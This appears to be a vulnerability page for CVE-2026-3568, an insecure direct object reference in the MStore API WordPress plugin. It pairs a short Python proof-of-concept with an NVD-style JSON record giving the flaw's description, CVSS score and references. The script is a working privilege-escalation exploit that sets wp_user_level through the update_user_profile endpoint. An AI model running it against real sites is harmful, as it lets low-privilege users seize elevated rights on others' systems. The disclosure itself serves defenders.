CVE-2026-3568

import requests # Target API endpoint (Example) target_url = "http://example.com/wp-json/mstore-api/v1/flutter_user/update_user_profile" # Attacker's session cookie (Subscriber role) attacker_cookies = { "wordpress_logged_in_hash": "..." } # Malicious payload to escalate privileges payload = { "meta_data": { "wp_user_level": 10 # Escalate to Administrator (Legacy check) } } try: response = requests.post(target_url, json=payload, cookies=attacker_cookies) if response.status_code == 200: print("[+] Exploit potentially successful. User meta updated.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-3568", "sourceIdentifier": "[email protected]", "published": "2026-04-09T04:16:59.177", "lastModified": "2026-04-24T18:04:28.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MStore API plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 4.18.3. This is due to the update_user_profile() function in controllers/flutter-user.php processing the 'meta_data' JSON parameter without any allowlist, blocklist, or validation of meta keys. The function reads raw JSON from php://input (line 1012), decodes it (line 1013), authenticates the user via cookie validation (line 1015), and then directly iterates over the user-supplied meta_data array passing arbitrary keys and values to update_user_meta() (line 1080) with no sanitization or restrictions. This makes it possible for authenticated attackers, with Subscriber-level access and above, to modify arbitrary user meta fields on their own accounts, including sensitive fields like wp_user_level (to escalate to administrator-level legacy checks), plugin-specific authorization flags (e.g., _wpuf_user_active, aiowps_account_status), and billing/profile fields with unsanitized values (potentially enabling Stored XSS in admin contexts). Note that wp_capabilities cannot be directly exploited this way because it requires a serialized array value, but wp_user_level (a simple integer) and numerous plugin-specific meta keys are exploitable."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mstore-api/tags/4.18.3/controllers/flutter-user.php#L1012", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mstore-api/tags/4.18.3/controllers/flutter-user.php#L1078", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mstore-api/tags/4.18.3/controllers/flutter-user.php#L1080", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mstore-api/trunk/controllers/flutter-user.php#L1012", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mstore-api/trunk/controllers/flutter-user.php#L1078", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mstore-api/trunk/controllers/flutter-user.php#L1080", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3494266%40mstore-api&new=3494266%40mstore-api&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a77bc126-4dbd-4a26-b98c-946341d4282f?source=cve", "source": "[email protected]"}]}}